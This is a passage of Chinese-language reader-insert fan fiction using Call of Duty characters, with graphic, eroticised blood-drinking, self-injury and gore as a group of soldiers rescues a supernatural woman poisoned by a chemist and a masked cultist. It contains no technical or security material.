Y/N坐回那把生锈的铁椅上,饥饿让她的瞳孔微微收缩成线。Konig脖颈跳动的血管,皮肤下流淌的生机,都散发着诱人的气息。
“如果我要吃掉你,”她突然歪头,发丝垂落在苍白的脸颊旁,“你愿意吗?”
Konig的瞳孔剧烈震颤着。被吃掉?被她?泪水瞬间又模糊了视线,难道Y/N想杀了他吗。
但某种隐秘的欢愉,却突然从骨髓里渗出来。比起在实验室被解剖,在战场被炸成碎肉,如果能成为她的一部分…..
“愿…愿意的......”
他声音发颤,睫毛上还挂着泪珠,湿漉漉的眼睛里分明写着不安。Y/N忽然觉得无趣,她其实并不想看他血肉模糊支离破碎的模样。
“过来。”
甚至不需要动用那股力量。Konig和Ghost不同,只要她一个眼神,他就会像被驯服的野兽般顺从。
高大的身影笼罩下来,他站在她面前,像座沉默的山。
“跪下。”
冰凉的足尖抵上他的大腿,Konig浑身一颤。
Y/N慵懒地支着下巴,”给我一点你的血。”
他毫不犹豫地抽出匕首,狠狠扎进一条腿。刀刃没入血肉的闷响里,他连呼吸都没乱,只是仰头看她时,眼里还凝着未散的委屈。
“把血喂给我。”
Konig瞬间僵住了。该怎么喂?站起身把伤腿抬到她面前?还是用匕首沾血递过去?
不,Y/N没允许他起身,刀刃又太危险。
他眨了眨湿漉的睫毛,突然扯下战术手套,指节狠狠捅进腿上的刀伤。
鲜血立刻涌出,浸透整个手掌。他迟疑地,近乎虔诚的,将染红的手掌递到Y/N唇边,指节还滴着温热的血珠。
Y/N微微倾身,舌尖徐徐划过Konig染血的手指。温热的猩红在唇齿间化开。
她半垂着眼帘,长睫投下的阴影掩住了眼底翻涌的欲望。
Konig浑身绷紧,指尖不受控制地轻颤。他能清晰感受到她柔软的舌扫过自己粗糙的指腹,每一次触碰都像电流般窜过脊椎。
血液的流失让他有些眩晕,但更让他战栗的是Y/N此刻的眼神,那是一种近乎餍足的,危险的占有欲。
“很甜。”她低语,唇瓣还沾着殷红的血迹。Konig的呼吸骤然急促,喉结上下滚动。
他不敢动,也不敢出声,只能任由她继续品尝自己的血液,仿佛这是一种神圣的献祭。
Y/N忽然咬住他的户口,不轻不重地磨了磨。Konig闷哼一声,膝盖发软,却仍固执地维持着跪姿。
他模糊地意识到,自己可能永远都无法逃脱这种甜蜜的折磨了。从灵魂到□□,都心甘情愿成为她的猎物。
Y/N的齿尖还抵着Konig的指节,突然将他染血的手掌按在自己颈侧。
黏稠的血痕在苍白皮肤上拖曳出迤逦痕迹,像极了某种来自荒蛮时代的血色铭文。
“你的血,让我这里跳动。”
她的唇几乎贴上他的耳廓,气息掠过他染血的手。Konig能感觉到自己的血正渗进她的衣领,暗红的痕迹在蜿蜒而下,像一条贪婪的蛇。
他的呼吸一滞,她的膝盖抵在他受伤的大腿,力道不轻不重,却足以让疼痛与另一种滚烫的触感顺着神经烧上来。
“疼吗?”她故意碾了碾他腿上的刀伤。
Konig的喉间溢出一声模糊的呜咽,却更用力地将手腕递向她,“更,更多……都可以给你。”
Keegan在加密频道里向Ghost描述了那个神秘的黄金面具人,两人约定在雪山里的废弃驻地碰头。
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寒风卷着碎雪拍打在生锈的铁皮屋檐上,Ghost坐在一截横倒的枯树干上,枪械横放在膝头,声音低沉。
“Price那边查过了,一片空白。”
Keegan摘下战术手套,揉了揉鼻梁,“我这边也是。所有数据库都像被抹过一样干净。”
两人沉默地对视一眼,呼出的白雾在空气中交织。
能避开全球顶级黑客和军方情报网的搜查,这个人,恐怕就是一直在追踪Y/N的真正黑手。
化学家烦躁地抓了抓头发,指缝间缠绕着几根被扯断的发丝。他原本计划支开Nikto。
却没想到Y/N身边竟又多了个Konig,那个疯子像堵肉墙似的黏在她身后,寸步不离。
与此同时,马卡洛夫正率领手下伪装成别国军队,秘密潜入一处国际机场。
枪声与爆炸将撕裂夜空,而这场恐怖袭击的唯一目的,就是点燃战争的导火索。
实验室的金属门无声滑开。
那位神秘的黄金面具人站在门口,声音低沉而蛊惑,“我知道你想做什么。”
他缓步走近,指尖划过实验台冰冷的器械,“你的意图太明显了。而我,可以帮你。”
“我比马卡洛夫更清楚她的来历。”面具后的声音带着笑意。
化学家的瞳孔微微收缩。
当神秘人提议与Y/N单独会面,声称要告诉她关于过去的真相时,化学家知道机会来了。
他提前潜入,在通风系统里注入了特制的神经毒素。
Konig果然如他所料,固执地守在门外。那具高大的身躯轰然倒地,意识彻底陷入黑暗。
神秘人双手捧着器皿,“只需一滴,只是为了检测您的身体状况。”
Y/N凝视着那管玻璃器皿。那些突如其来的困意,饥饿感,对鲜血的,对生机的,对那些她说不清道不明的渴望,确实需要答案。
指甲划破皮肤的瞬间,Y/N的血液在容器中泛着诡异的暗色。神秘人盯着那滴血珠,声音忽然变得悠远。
“您诞生于东方古国的龙脉之地,沉睡在祭坛下的玉棺中......”
数百年前,东方之土。
暴雨冲塌了古墓的一角,年轻的西洋学者举着煤油灯爬进地宫。
在积水的青铜祭坛中央,他看见了一口剔透的玉棺,棺中沉睡的少女突然睁开了眼睛。
那是双映着星河的瞳孔。
学者颤抖着摘下眼镜,“您...愿意看看现在的世界吗?”
神秘人在Y/N面前毕恭毕敬的开口。
“我的家族耗费三代心血,在世界各地为您筑造庇护之所。您始终是我们供奉的神明.....直到您不告而别。”
“这百年来,我们踏遍每一寸土地寻找您。”
他不动声色地调整语调,“直到去年冬日,家族最年幼的孩子在东方古籍中发现线索,他按秘法指引深入那处山林,竟真的遇见了您。”
“您仁慈地治愈了他的伤,可等我们循迹而至,您又消失了。这迫使我不惜动用全球势力,也要将您迎回。”
神秘人的指腹摩挲着器皿边缘,面具下传来几不可闻的冷笑。
那些温情的叙述里掺着精心调配的谎言,他的家族何曾懂得“邀请”?
三代人建造的庇护所?他凝视着那逐渐沸腾的血液,想起祖先修建的地下室里,那些刻满符文的铁棺。
百年来,他们只会用镣铐和咒钉将神迹囚禁在牢笼里。
神秘人沉默拂过黄金面具的边缘。他并不完全了解Y/N能力的边界,而此刻,正是检测她血液奥秘的最佳时机。
化学家死死盯着手中震颤的数据屏,瞳孔在荧光下收缩成点。
“您听说过,百年前的Omega计划吗?”
没等神秘人回应,他突然癫狂地拍打控制台。
“他们在战争期间研究过一种叫以太的能量!意外打开了一个维度裂缝!”
显示屏突然爆出雪花噪点,映出化学家扭曲的倒影。
“那是个混沌的异次元领域!扭曲的物理法则,暴走的能量流,还有那些.….那些根本不该存在的生物!我曾以为,只是都市传说而已。没想到,哈!
他猛地拽住神秘人的手臂,“可现在她的血液里,就流淌着完全相同的物质成分!我看过,我看过那些报告,那些数据!与她血液里的一样!”
黄金面具下是死死的沉默,神秘人当然知道这段秘辛。
家族实验室的绝密档案里,记载着关于以太的警告。
这种力量既能被科技操控,也能被超自然汲取,但每次使用都会撕开现实裂缝,引发灾难性的后果。
“所以。”神秘人的指甲掐进自己掌心,“你的意思是.….她来自那个维度?”
27. 自娱自乐
监控屏幕的蓝光映照着马卡洛夫阴鸷的脸。矿洞里发生的一切都在他眼皮底下,Konig的昏迷,化学家的背叛,神秘人的低语。但他只是漫不经心地摩挲着引爆器。
“大不了全炸了。”他对着空气举杯,仿佛在敬死亡本身,“反正那女人的伤口会自己愈合。”
实验室里,化学家正疯狂撕毁马卡洛夫给的卫星数据。什么死亡溶胶气体,现在不过是孩童的玩具。
神秘人向他展示的真相,早已烧毁了他对世俗权力的最后一丝渴望。
“她的细胞能无限分裂。”化学家用手术刀挑起培养皿中蠕动的血肉,“只要吃掉她,我们就能......”
“是的,永生。”黄金面具微微颔首接话,
化学家舔了舔干裂的嘴唇,而她的血液里沉睡的以太能量,或许足够我们撕开维度裂缝。征服所有已知与未知的世界!”
监控器突然闪过雪花噪点,但马卡洛夫不知道,也不会在乎,此刻有两个疯子正用他的矿洞,酝酿着比太空武器更恐怖的阴谋。
Y/N回到石屋时,发现Konig不在原地。她并未在意,随手拾起那本翻到一半的《植物图谱》。
整层石道静得反常,往日至少会有巡逻兵的靴跟磕碰声,此刻却只有书页翻动的簌簌。
无色无味的气体正从通风管渗出,像冬雾漫过石砖缝隙。
第一滴血溅在插图上的时候,她没在意。直到第二滴,第三滴接连坠落,将整页书本染成猩红沼泽。
Y/N的指尖还停留在书页的血渍上,忽然尝到喉间翻涌的铁锈味。
她低头看着衣襟前逐渐晕开的血花,像在观察某种陌生的自然现象。
先是唇角渗出红线,接着从鼻腔溢出,最后连耳道都淌出赤色溪流,滴在锁骨凹陷处积成血洼。
Ghost和Keegan趁着马卡洛夫带主力队离开,早已潜行至通风管道蛰伏三日,腐朽的矿洞结构成了最好的掩体。
地牢上方的守卫正叼着烟闲聊。
“邪门了,今天突然禁止所有人下去。”
新兵用枪管戳了戳地板,“下面真就关着个女人?真是她上次屠了我们半个据点的人?”
老兵突然掐灭烟头,“你他妈当时在医疗站当然没看见!她移动起来像道黑影,等我们反应过来,弟兄们的肠子已经挂在树上了!”
“不对劲。”Ghost突然按住Keegan的肩膀,两人屏息听着上方守卫的闲聊。
“那女人真的这么可怕?”新兵的声音发颤。
老兵冷笑,“她杀人时连眼睛都不眨…..”
轰——!
封住地牢的钢制门闸突然爆裂,无色气体喷涌而出。
守卫们刚摸到枪,眼球就炸开血花,溃烂的皮肤像蜡油般从骨头上剥落。
几具尸体倒地时,连抽搐都没来得及。
巨响震得管道灰尘簌簌落下。Ghost和Keegan对视一眼,瞳孔骤缩,那正是他们曾被关押的位置。
“Y/N!”Keegan的呼吸瞬间乱了。
两人如离弦之箭般冲向声源,战术靴踏过积水的声音在空荡矿洞中回荡。
监控室内,化学家疯狂拍打着控制台。
“怎么可能?!死亡溶胶对她无效?!”他颤抖着按下所有隔离阀,将Y/N层层封死在最底层。
神秘人却低笑起来。黄金面具下的目光锁定了屏幕中Y/N微微晃动的身影。
“不,她感觉到了。”
矿洞外围,Krueger刚拧断最后一个守卫的脖子。他敏锐地抬头,耳尖微动,那声闷响来自地牢方向。
男人甩了甩手上的血,身形似一只黑豹般潜入黑暗。
Keegan和Ghost被突如其来的隔离门挡在外侧,厚重的金属闸门在他们面前轰然闭合。
Y/N的视野开始扭曲,鲜血不断从她的七窍涌出,在地面上积成一滩暗红色的水洼。
她试图凝聚周围的力量,但每一次尝试都让她的意识更加涣散。皮肤以肉眼可见的速度焦黑,卷曲,像被无形火焰灼烧的纸张。
Krueger赶到时,Ghost已经架好榴弹发射器,手指扣在扳机上。Keegan正快速计算爆破角度,试图将伤害降到最低。
咔嚓!
阀门突然裂开一道狰狞的缝隙,一只血肉模糊的手臂猛地穿透铁板,暗红色的血混着组织液,顺着灼伤的皮肤滴落。
那只手在空中痉挛了一瞬,便无力地垂落下去。
三人同时扑向门缝。
“Y/N!”Ghost的声音卡在喉咙里。
透过狭窄的缝隙,他们看到她瘫倒在血泊中。
她像被剥了皮的动物般蜷缩在门后,溃烂的肌肉组织黏连着碎骨,每次微弱的呼吸都带出粉红色血沫。
地面积血倒映出她仅剩完好的左眼,正死死盯着门缝透入的光。
Krueger的指节捏得咯咯作响,他从未见过她如此脆弱的样子。
“不能炸.….”Keegan的匕首已经插进门缝,声音沙哑,“冲击波会要了她的命。”
“Fucking hell!!”Ghost低吼着快速检查阀门结构
“God damn it, 这门有30cm厚!”他用枪托猛砸门缝试图撬开更大缺口。
Krueger的瞳孔骤然收缩成针尖状,喉间滚出一声近乎兽类的低吼。他猛地扯下战术手套,金属指虎在昏暗的矿洞中泛着寒光。
“Zusammen, jetzt!”(一起上!)
他与Ghost如同两头暴怒的狼,匕首与指虎同时卡进渗血的缝隙。
金属扭曲的尖啸声中,门缝被他们用纯粹的力量撕开两厘米,鲜血顺着Krurger崩裂的虎口滴在Ghost的护目镜上。
Keegan的呼吸急促起来,他后退两步突然转身,他的声音像绷到极致的钢丝,
“不行,必须操作室,这他妈是远程控制的。”
Konig在铁牢中猛然睁眼,毒气残留的刺痛还灼烧着他的气管,但身体早已习惯这种折磨。
远处传来的震动让他瞬间清醒,那是Y/N的方向。他侧身撞开生锈的铁栏,金属断裂声在空荡的矿洞中回响。
可当他冲到那扇厚重的阀门前,却发现即使用尽全力,钢铁也纹丝不动。
Ghost和Krueger的声音从另一侧传来,焦灼而暴怒,却同样被阻隔在外。
“让开!”
低沉的俄语在背后炸开,Konig刚一退开,Nikto手中的特制炸弹枪便喷吐出火舌,脚边还躺着一大颗红珊瑚。
高爆弹头精准轰击阀门接缝处,却只在钢板上留下几个焦黑的凹痕。
透过弹孔,他们看见。
Y/N倒在血泊中,身体几乎被腐蚀殆尽,仅剩的骨骼和焦黑的肌肉组织粘连在地面上,如同一具被焚烧过的残骸。
Ghost仍在怒吼,“睁开眼!Fuck,你给我睁开!”
上方突然传来机械运转的轰鸣,一道阶梯从天花板降下。
黄金面具的男人优雅迈步而下,化学家紧随其后,防护面罩下的眼睛闪烁着狂喜的光。
Konig的喉咙里滚出一声近乎崩溃的嘶吼,而Nikto的手指已经扣在了下一轮爆破的扳机上。
“Verdammte ScheiBe, wag es ja nicht, sie anzur hren!”(你他妈敢动她!)Krueger的怒吼震得碎石簌簌落下,脖颈暴起血丝。
那人连余光都未分给两侧阀门外的野兽们。
他单膝跪地,面具滑落的瞬间露出半张脸,直接俯身咬住Y/N溃烂的颈动脉。
Ghost的瞳孔骤缩。他太清楚那人此时的行为意味着什么。
“他们要分食她!”他一把拽开Krueger,突击步枪卡着门缝疯狂扫射。
化学家尖叫着被神秘人拽到身前当肉盾,子弹穿透白大褂溅起血花。
神秘人怀中的Y/N已不成人形,像团被剥了皮的雏鸟。当两侧的子弹嵌入男人后背时,他忽然发出叹息。
弹孔周围的肌肉,正以肉眼可见的速度蠕动愈合,酥麻的痛感顺着脊椎窜上大脑。
konig此刻撞门的肩膀已经血肉模糊,却仍持续撞击着,像台故障的机器
粗麻布里全是自己呛咳的血沫,却还在嘶吼,“求求你们.….开门...”
Ghost打空弹匣后,从腿袋抽出一管荧光药剂扎进自己颈部,那是特种部
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队禁用的神经兴奋剂。
然后用双手去扒滚烫的弹孔边缘,战术手套里的指甲翻卷也毫无知觉。
Krueger的咒骂声在矿洞中回荡,仿佛只要停下哪怕一秒,理智就会彻底崩断。
“Verdammte Schei?e—!!”(操他妈的——!!)
匕首在金属阀门上刮出刺耳的声响,刃口早已崩裂,他的虎口撕裂,血顺着刀柄往下淌,却仍机械般地重复着撬动的动作。
“Holle.….Holle...Holle!!”(该死…该死…该死!!)
他的声音已嘶哑得不成样子,像是喉咙被砂纸磨过,可还在不停地咒骂着,似乎这样就能阻止自己彻底疯掉。
直到Keegan的吼声从通讯器里炸开,“我进操作台了!”
他撞开控制室的门,眼前的景象让他呼吸一滞。
操作台屏幕上的监控画面,Y/N的身体几乎被腐蚀殆尽,仅剩的骨骼和焦黑的肌肉组织粘连在地面。
神秘人仍跪在她身旁,贪婪地汲取她的血液。
Keegan的手指在键盘上疯狂敲打,汗水顺着太阳穴滑落。
“撑住….撑住…”他咬着牙,强迫自己冷静,可指尖仍在发抖。
“阀门系统已锁定…生物识别…去他妈的生物识别!!”
他猛地拔出配木仓,对准主控面板。
砰!砰!砰!
三枪,火花迸溅,整个矿洞的警报骤然响起。
“闸门强制解除——!”
下一秒,沉重的金属阀门终于发出刺耳的摩擦声,缓缓开启,
Krueger的骂声戛然而止。当阀门完全开启的瞬间,Krueger是第一个冲进去,他直接掐住神秘人的喉咙将他提离地面。那个男人的脸瞬间涨成紫红色。
“Du wirst langsam ersticken.”(你会慢慢窒息而死)他贴着猎物的耳朵轻语,另一只手直接扯开对方刚愈合的伤口,让血喷溅在黄金面具上。
Ghost沉默地走过来,骷髅面罩下的呼吸声粗重得不正常。他拔出匕首,刀尖沿着男人的脊椎缓缓下滑,直到找到某节特定的椎骨,
咔嚓!
精准挑断神经连接点的声音让男人发出惨叫,但Ghost只是平静地陈述,“或许你的血肉还能愈合,但永远站不起来了。”
Konig跪在Y/N身边,颤抖的手指不敢触碰那团模糊的血肉。当他抬头时,头套下传出的抽气声,是压抑到极致的哭喘。
在操作台前的Keegan,双手蒙住上半张脸,木仓从手中滑落,砸在地上,发出清脆的金属撞击声。
神秘人的笑突然撕裂矿洞的寂静,像玻璃碎片刮过金属,让人感到刺耳烦躁。
“哈哈哈!你们真以为这具身体会死?”
他扭曲着刚被Krurger折断的脖颈,伤口处泛起诡异的蓝光,“血肉愈合?那不过是小儿科。”
Ghost的匕首还插在他脊椎里,却看见刀锋正被某种物质缓慢吞噬。
“至于她?”
神秘人突然转向Konig怀中那团模糊的血肉,声音陡然拔高。
“而她,你们以为她是什么?居然把她当神明供奉?!愚蠢的东西们!”
他染血的牙齿咬开袖口暗扣,“马卡洛夫!给我炸了这里!”
矿洞外,马卡洛夫的拇指悬在引爆器上,屏幕里映出神秘人扭曲的笑容。
十小时前,这个戴黄金面具的男人在他耳边低语。
“用她的血肉提炼出的以太毒素,会把这矿洞变成通往新世界的门。”
而现在,倒计时的警报响起,归零的瞬间。
出现的并不是预想中的爆炸。
地底深处传来某种古老心脏跳动般的闷响,所有照明设备同时爆裂。
Konig怀中的Y/N残躯突然浮起暗蓝色光点,而神秘人破碎的躯体正在这些光点中重组。
不是愈合,是分解成无数发光颗粒向矿洞底部飘散。
“看到了吗?"”他的声音从四面八方传来,“这才是真正的.….”
Ghost的匕首突然刺穿悬浮的黄金面具。
面具坠地碎裂,露出后面。
空无一物。
28. 自娱自乐
Keegan的双手从脸上缓缓滑落,他的指缝间渗出冷汗,瞳孔里映着监控屏上跳动的倒计时。
2:00
“快走!撤离!还有真正炸弹!”
Ghost的耳机里炸响Keegan的嘶吼时,神秘人分解的蓝光还在空中飘散。
他们来不及震惊眼前所发生的一切。
Nikto的身影早已消失在通风管。三十秒后,化学家实验室的主硬盘被他连根拔走
“把她裹好了!不要让光点从她身上离开!撤离!”
Ghost一把抓起地上散碎的古籍,皮革封面还黏着神秘人的血肉组织。
骷髅面罩下,他的眼球血管爆裂得像两张猩红蛛网。
Krueger跪地发疯般收集曾属于Y/N的一部分,甚至徒手抓起焦黑骨渣塞进战术包。
Konig将Y/N紧紧裹在怀中,作战服被血浸透,冰冷的触感透过布料渗入他的皮肤。
他颤抖的幅度大到必须咬住自己手腕才能防止牙齿打颤,却把她死死按在左胸,那是他心跳最响的地方。
他不敢低头看。不敢确认怀里极轻的重量是否还残留着生命的温度。
她还会睁开眼睛吗?
她还会用那种淡漠却专注的眼神看着他们吗?
她还会……活着吗?这个念头像尖刀一样刺进他的大脑,让他感到爆裂的窒息。
谁都不敢想。
Ghost沉默地奔跑在最前方,他多想去确定一下她是否在恢复,就一下,可他不敢停下。Krueger的战术包沉重地晃动着,里面装着Y/N的残片,每一步都像是踩在刀尖上。
通讯频道里能听见Keegan急促而混乱的呼吸,他死死咬着牙不让自己崩溃。
Nikto的身影在黑暗中若隐若现,手中的硬盘里或许藏着最后的希望,可他们谁都不敢开口问。
因为答案,可能比死亡更可怕。
矿洞在他们身后崩塌,爆炸的轰鸣卷起雪浪,像一场迟来的雪崩。
所有人都僵立在雪地中,呼出的白雾在冰冷的空气中凝结,又消散。
Ghost沉默地脱下作战服外套,平铺在雪地上。他的动作很慢,仿佛每一个细节都被拉长到极致。
没有人说话。
Konig的指尖在颤抖,他缓缓地,像是慢动作般,将怀中的“她”取出。
那已不再是人类。
只是一团幽蓝的雾,泛着微弱的光,像被风吹散的星尘,却仍保持着模糊的轮廓。
人类的血液早已流尽,剩下的只是某种无法定义的存在,介于实体与虚无之间。
Krueger跪在雪中,从战术包里取出那些碎片。
焦黑的骨、残存的肉、被腐蚀的皮肤,他从未如此轻柔地拾起和放下过任何东西。
他的动作像是怕惊扰一场梦。
雪,无声地落下。
那团雾在雪地上微微起伏,像濒死之人的最后一口气息。Ghost的骷髅面罩结满冰霜,却遮不住他死死咬紧的下颌线。
Keegan突然跪下来,扯下自己的防弹插板垫在蓝雾下方,仿佛冰冷的凯夫拉纤维能代替她流失的体温。
“数据,实验室用她的血做过.….”Nikto的声音从装甲车方向传来。
Ghost的指节抵着眉心,强迫自己维持最后的理智:“先回安全屋.…”声音沙哑得像是砂纸摩擦,“这里还不够安全。”他微弱地抬了抬手,“走吧。”
装甲车碾过积雪冲向公路。后视镜里,矿洞崩塌的烟尘正在被风雪吞噬。
装甲车在暴雪中撕开一道苍白的裂痕,引擎的轰鸣被呼啸的风声吞没。
车内死寂如墓,只有Keegan翻动古籍的沙沙声在密闭空间里格外清晰。
Keegan的指尖突然掐进古籍羊皮纸。借着战术手电的冷光,他看清最后一页角落那行褪色的字迹。
“如若消散,回归故土。”
墨迹像是用血调和后褪了色。
“等等!”书页在他手中簌簌发抖,“不去安全屋...”喉结滚动咽下颤抖,“直接去当初找到她的坐标。”
Ghost立刻在导航上输下坐标,Nikto没有犹豫,猛地调转车头。
装甲车在雪原上划出一道尖锐的弧线,朝着他们最初发现Y/N的坐标疾驰而去。
Konig将怀中的蓝雾裹得更紧了些,粗布下的呼吸终于不再颤抖。Krueger突然低头看向自己的掌心。那些沾着的Y/N的血,正渗出幽蓝的微光,像指路的星火。
风雪中,装甲车像一柄利剑刺向荒野深处。
Keegan逐字逐句翻译着古籍内容,声音在装甲车的轰鸣中显得格外冰冷。
“Verdammte Holle….(该死的东西)
Krueger的手狠狠捏着座椅扶手,他扯开染血的领口。
Konig抱着那团微弱的蓝雾,呼吸声带着不正常的颤音。
“Wenn Y/N...wenn sie...Ich bringe sie alle um. Jeden Einzelnen.”(等Y/N好了...我要杀光他们...每一个...)
Keegan的指尖悬在古籍插图上,那页画着被锁链束缚的少女,身前是端着陶碗接血的人。
他的呼吸突然停滞,仿佛有冰锥顺着气管往下扎。
“她或许已经忘了。”他轻声道,“但真实的痛苦永远刻在心底。”
他们都想起,所以那日的Y/N才会突然有了那样的神情。
Keegan的嗓音在读到“永恒的粮仓”时彻底破碎。那些文字像毒虫在羊皮纸上蠕动。
在她最饥饿时扼杀,配图是一个少女咬断自己舌头的素描。
分食祭品可获永生,空白处沾着疑似血液的褐斑
Ghost的指关节发出不堪重负的脆响,扶手被他捏出五道凹痕。那些记载根本不是历史,而是持续百年的虐杀食谱。
Konig突然干呕起来,他突然觉得Y/N的自我恢复能力是一件多么可怕的事。那根本不是愈合,那是为了那些恶魔下一餐做的准备!
装甲车碾过冰坑,车舱内回荡着Krueger控制不住的呼气声。
这个曾笑着拧断敌人脖子的男人,此刻正用匕首刺进自己大腿,试图用物理疼痛压制杀意。
或许最可怕的不是暴行本身,而是,他们为之征战的世界,正是由这些食人魔构建的秩序。
Nikto的指节在方向盘上绷出青白色,手套的关节处发出细微的“咔咔”声。
他猛地从口袋里掏出那枚数据硬盘,甩给副驾驶的Ghost,动作大得几乎像是要砸碎什么。
Keegan立刻从后座递过战术平板,硬盘接入的瞬间,化学家癫狂的声音突然在车厢内炸开。
“完全匹配!”
电子音突然拔高到刺耳的程度,“她的血样和Omega计划的以太能量光谱重叠率99.9%!”
背景音里传来试管爆裂的脆响,接着是液体剧烈沸腾的“咕嘟”声,仿佛有无数气泡正从地狱深处涌上来。
“她根本不属于这个维度的物质结构!” 录音里的呼吸声变得像
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破旧风箱,“裂缝已经出现,早就出现….”
一阵尖锐的电磁干扰突然切断后半句话,接着是化学家神经质的喃喃自语。
“所有接触者都该变成怪物的...为什么只有她...为什么她能净化.….”
装甲车内陷入诡异的沉默,只有战术平板屏幕上的录音还在回放。
他们不知道Y/N究竟是什么,是武器,是邪教徒的祭品,还是某种他们无法理解的存在。
但现在,这些都不重要了。
神秘人的凭空消失,化学家癫狂的理论......
这一切都指向一个更恐怖的真相,这个世界正在发生某种异变。
不是战争,不是政治博弈,而是某种更原始,更黑暗的东西正在侵蚀现实的边界。
Ghost的指节抵着眉心,骷髅面罩下的呼吸沉重而缓慢。Keegan眼神晦暗不明。
他们都知道,这件事必须上报军方。
但......
谁能保证军方高层中没有另一个“神秘人”?谁能保证那些掌权者不会将Y/N的存在视为构建新世界的工具?
装甲车在雪原上疾驰,车舱内弥漫着一种冰冷的绝望。
他们曾以为自己在为正义而战,但现在,他们连敌人在哪都不知道。
装甲车在雪原上行驶到第二天清晨,窗外的暴风雪已经减弱,只剩下零星的雪粒拍打着车窗。
Konig低头看着怀中那团幽蓝的雾,形态依旧模糊不清,但他总觉得那光芒比昨夜更明亮了些。
车厢内其他人都在闭目小憩,只有他还醒着。手指摸向战术口袋,掏出一块放了很久的草莓味蛋白凝胶。
他犹豫了一下,轻轻将凝胶挤进那团雾气中。
下一秒。
蓝光突然暴涨,像饿极的野兽般瞬间吞噬了凝胶,光芒在刹那间明亮了一瞬,又缓缓恢复原状。
Konig的呼吸停滞了一秒,指尖还保持着投喂的姿势。
“你们….别.….别睡了!”他手指死死拉住Keegan的战术背心,“她饿了.…她在吃东西!”
Keegan惊醒时睫毛还沾着睡意,却清晰看到蓝雾中未散的荧光残影。
他条件反射摸出压缩饼干,结果刚碰到雾面就被“噗”地喷出来。
饼干渣呈完美抛物线糊在Ghost面罩上。Ghost缓缓抹掉碎屑,面罩下传来闷闷的吸气声。
后车厢突然爆出Krueger沙哑的大笑。
“哈!果然是她,看来她变成这样也还是不爱吃这个玩意啊。”他踹了脚武器箱,“老子早说过这玩意狗都不吃。”
Keegan盯着黏在车顶的饼干渣,突然轻笑出声,那团蓝雾正像猫甩水般抖着边缘,把最后一点饼干屑都甩到了Nikto后颈。
Krueger猛地直起身子,他咧开嘴,露出犬齿般的尖牙,眼中闪烁着久违的狩猎欲。“我去打点猎物喂小猫。”
车门被踹开,风雪瞬间灌入车厢。他纵身跃入雪地,很快消失在白茫茫的旷野中。
Ghost微微侧身,透过结霜的车窗望了一眼Krueger离去的方向,随后转向驾驶座的Nikto,声音低沉如闷雷。
“下一个城镇,停一下。”
Nikto没有应答,只是微不可察地点了点头,指节在方向盘上收紧。
Konig仍小心翼翼地抱着那团蓝雾,注意到它在听到“城镇”时微微闪烁了一下,仿佛在期待什么。
待Krueger举着一只烤熟的野兔回到车上后,装甲车引擎的轰鸣声陡然增大,朝着远方加速驶去。
29. 自娱自乐
苍白的月光刚漫过雪原,装甲车突然在冰面上甩出尖锐的弧度。
Konig用整个身体护住怀中的蓝雾,手肘重重撞上舱壁也顾不上疼,抬头就狠狠瞪向驾驶座。
Nikto已经降下车窗。
车灯照出个摔在雪堆里的小女孩,破麻布裹着的身体像只受惊的鹌鹑。
Nikto扫了眼确认没擦伤,正要关窗,蓝雾突然在Konig怀里高频震颤起来。
Krueger刚挪了挪身子,那团雾“嗖”地窜出车窗,精准扑进小女孩怀里。
场面瞬间混乱。
Ghost踹开车门的瞬间,小女孩已经抱着蓝雾跑出十米远,破旧的毛毡靴在雪地上踩出歪歪扭扭的脚印。
在她眼里那群“怪物”正从钢铁巨兽里蜂拥而出。
她都来不及反应甩掉手里那团东西,就已经被Keegan拉住。
“别怕,”Keegan蹲下身,掀开护目镜露出疲惫却温和的眼睛,“我们是军人。”
他指了指臂章,声音放得更轻,“你怀里的,是我们重要的护送目标。”
小女孩迟疑地打量他们,但最终,她慢慢松开手臂,想把那团蓝雾递回去。可Y/N就像一坨口香糖似的黏着她不撒手。
Krueger突然上前一步,他嗓音沙哑,“小孩,你之前是不是见过一个漂亮但,奇怪的女人?”
小女孩猛地抬头,脏兮兮的脸上闪过震惊,这个形容太具体了。
她看着Krueger的模样有点害怕,往Keegan身后缩了缩脖子,但点头,用手语比划着什么。
Nikto的面甲下传来冰冷的翻译,“她说,她给那个女人摘过野苹果。然后那个女人送了她一背包食物,就消失了。”
Krueger低笑一声,手指突然翻出把匕首,“看来她挺喜欢你啊,不如跟我学学怎么.…”
“够了。”Keegan一把将他拦到身后,作战靴在雪地上刮出半圆痕迹。
他蹲下来平视小女孩,余光瞥见蓝雾正缠在女孩小拇指上打转,“没地方去的话,不如跟我们先走一段?”
蓝雾在小女孩怀里轻轻脉动着,散发出柔和的暖意,像一团有生命的星火。
小女孩紧绷的肩膀渐渐放松,那光芒似乎在无声地说,别怕,我在这里。
装甲车后舱的竖排座椅上,Y/N化作的蓝雾紧紧贴着小女孩,仿佛找到了归宿。
小女孩只敢挨着Keegan坐,手指悄悄揪住他的战术背心一角。
Konig被迫和Krueger挤在另一边,眉头紧锁,目光死死盯着小女孩,像只被抢了窝的大型犬。
Krueger倒是毫不在意,甚至故意往Konig那边挤了挤。
他们原本就要经过Keegan的安全屋补充装备,带上这个小插曲也算顺路。
何况
车内昏暗的灯光下,蓝雾正随着小女孩的呼吸节奏微微起伏,亮度比之前任何时候都要稳定。
她开心就好。 Keegan看了眼后视镜,无声地叹了口气。
装甲车早已驶离雪原,窗外景色逐渐被青翠的山林与蜿蜒的海岸线取代。
小女孩和那团蓝雾紧挨着车窗,两小只时不时同步地转向窗外。
一片波光粼粼的海面能让蓝雾突然兴奋地涨亮,一列呼啸而过的火车又会让她缩成小小一团,像受惊的小动物般往小女孩怀里钻。
Konig酸溜溜地瞥着她们,手指一直地抠着座椅上的弹孔。
他们发现似乎离目的地越近,蓝雾的轮廓就越发清晰。虽然仍没有具体形态,但那些细微的举动。
蹭蹭小女孩的手心,好奇地“张望”窗外,甚至偶尔调皮地卷走Keegan的笔,都让众人暗自松了口气。
她在恢复。
只是现在的Y/N,更像一只刚出生的幼崽,或是失忆的小孩,纯粹地依赖着身边这个偶然相遇的小女孩。
最终Keegan牵着小女孩来到了那间木屋。
木门推开时扬起细小的尘埃,阳光透过格子窗洒在橡木地板上。Keegan蹲下来平视小女孩。
“这里很安全。”他指向窗外的菜畦,“种过胡萝卜吗?冬天会结霜,但甜菜能活下来。”
“没有野兽,最大的动物是麋鹿,但很温顺。后面有辆自行车,十公里外可以到镇上。”
说这他又指向壁炉旁挂着的小型复合弓,“你可以用这个学习如何保护自己。”
